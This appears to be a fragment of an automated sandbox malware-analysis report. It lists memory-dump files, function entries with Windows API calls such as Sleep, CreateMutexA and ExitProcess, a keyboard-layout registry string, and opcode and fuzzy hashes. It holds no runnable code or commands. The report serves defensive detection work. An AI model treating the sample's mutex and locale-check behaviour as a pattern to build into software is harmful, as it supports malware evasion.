Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: e7f08d367e67278c4c02936e9dda3827adc0b8ab3155a2d6f6123855cf37cd01
Instruction ID: 012a481eb2ca7c480a3ada3940e0d6b275884eb854cc68fdb63740de14e3e01a
Opcode Fuzzy Hash: e7f08d367e67278c4c02936e9dda3827adc0b8ab3155a2d6f6123855cf37cd01
Instruction Fuzzy Hash: 61F1B2709002589FEB24DF54CC85BEEB7BAEF44304F5082ADF519A7281DBB49A84CF95

Function 006A652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,006A652A,?,?,?,?,?,006A7661), ref: 006A6567

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 401505f0b218beb05777f0c95064afb0854f19edf25dbbd46b4f429b078fb685
Instruction ID: 43ec562fa3a0c5c7d48e964f6b0d0ee16910fae804695a530514efe9c74a3478
Opcode Fuzzy Hash: 401505f0b218beb05777f0c95064afb0854f19edf25dbbd46b4f429b078fb685
Instruction Fuzzy Hash: 41E08C31401148AECF25BB18C8199893B2AEB83745F184818FA0886222CB25ED81CE80

Function 049C0269 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

_]j$, xrefs: 049C0430

Memory Dump Source

Source File: 00000000.00000002.1433376266.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49c0000_file.jbxd

Similarity

API ID:
String ID: _]j$
API String ID: 0-1969167095
Opcode ID: 328888cb1be0866f69b9c3fb60f83f57c59e9e1a4feb487cc741a99e702cf3a9
Instruction ID: 930586870bccd71bed49d7b4f5e111deec648de5e553cf60f575583121a4f92f
Opcode Fuzzy Hash: 328888cb1be0866f69b9c3fb60f83f57c59e9e1a4feb487cc741a99e702cf3a9
Instruction Fuzzy Hash: 4F2192DB34C220FE654255C62B54AF76A6FE2D7270B31483EF40795642B3D46A4970B3

Function 049C039C Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

_]j$, xrefs: 049C0430

Memory Dump Source

Source File: 00000000.00000002.1433376266.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_49c0000_file.jbxd

Similarity

API ID:
String ID: _]j$
API String ID: 0-1969167095
Opcode ID: 49bb74cd7a95fe5a1a6d73849d311613a42005b54eb0bf604f24770055a3e7eb
Instruction ID: f415032903c78339149878f3145734d35de3058b8bd9a5ddf5bb653dd1836bc5
Opcode Fuzzy Hash: 49bb74cd7a95fe5a1a6d73849d311613a42005b54eb0bf604f24770055a3e7eb
Instruction Fuzzy Hash: 9211A0E714C250AEA20286D52A18AF77B6EE6D3730B31497FF442C5553E2811A4EA572

Function 00679BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0067A963
CreateMutexA.KERNEL32(00000000,00000000,006D3254), ref: 0067A981

Strings

T2m, xrefs: 0067A970

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2m
API String ID: 1464230837-1250367210
Opcode ID: 9a02dfa40f0009acde1c1dacd63c00000c94b2114ea92f6a9336dc80feb77de4
Instruction ID: 0dacde99e9bf2f36e2f6ac63edcc3eca3a2acec741b34bfec16dc44ecfa0fcf2
Opcode Fuzzy Hash: 9a02dfa40f0009acde1c1dacd63c00000c94b2114ea92f6a9336dc80feb77de4
Instruction Fuzzy Hash: 3D315B31A142048BEB08EBBCDC85BADB7A3EBC1314F24C269E118973D5D77599808762

Function 00679F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0067A963
CreateMutexA.KERNEL32(00000000,00000000,006D3254), ref: 0067A981

Strings

T2m, xrefs: 0067A970

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2m
API String ID: 1464230837-1250367210
Opcode ID: 036c58222ff930d8fe6ecf6a05aa301bb9ef685d2f1a1da0f73eb8395a464105
Instruction ID: 0073e52e56e0171ebdcf823da46f798c55e64c01faeed4cc68af7c834785d297
Opcode Fuzzy Hash: 036c58222ff930d8fe6ecf6a05aa301bb9ef685d2f1a1da0f73eb8395a464105
Instruction Fuzzy Hash: FF314831A101048BEB18EFB8DC85BACB7A3EBC5314F24C62DE118DB3D5D77999808762

Function 0067A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0067A963
CreateMutexA.KERNEL32(00000000,00000000,006D3254), ref: 0067A981

Strings

T2m, xrefs: 0067A970

Memory Dump Source

Source File: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1428941471.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1428965317.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429126467.00000000006D9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429179391.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429200923.00000000006E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429219559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429248167.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429460706.0000000000838000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429494123.000000000083A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429621326.0000000000861000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429640957.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429663099.0000000000863000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429683493.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429710873.000000000086E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429744216.0000000000870000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429769433.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429796276.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429826563.0000000000889000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429874482.00000000008B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429899006.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429925077.00000000008B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1429947658.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430029995.00000000008C2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430163038.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430259484.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430294204.00000000008D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430329685.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430387483.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430417512.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430433300.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430448611.00000000008E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430504759.00000000008EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430527403.00000000008EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430586144.00000000008F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430609617.00000000008F1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.00000000008F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430655949.000000000092C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430731016.000000000092D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430781465.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430805073.000000000094E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430829889.000000000094F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430854134.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430877762.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430938804.000000000096A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430957892.000000000096D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430977169.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1430993971.000000000097D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2m
API String ID: 1464230837-1250367210
Opcode ID: 874fc52d3be9a4bc88852cc9a01be4f46bc87e150ce0a82f8345b85c8f4bc956
Instruction ID: 2269006366f3aae3b8e722ed7315e4917f9de61d568ce770ae29a3ece94a7ae1
Opcode Fuzzy Hash: 874fc52d3be9a4bc88852cc9a01be4f46bc87e150ce0a82f8345b85c8f4bc956
Instruction Fuzzy Hash: 57312431A102009BFB189BF8DC89BADB763DBC1314F24C729E1189B3D5D77699808766

Function 0067A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
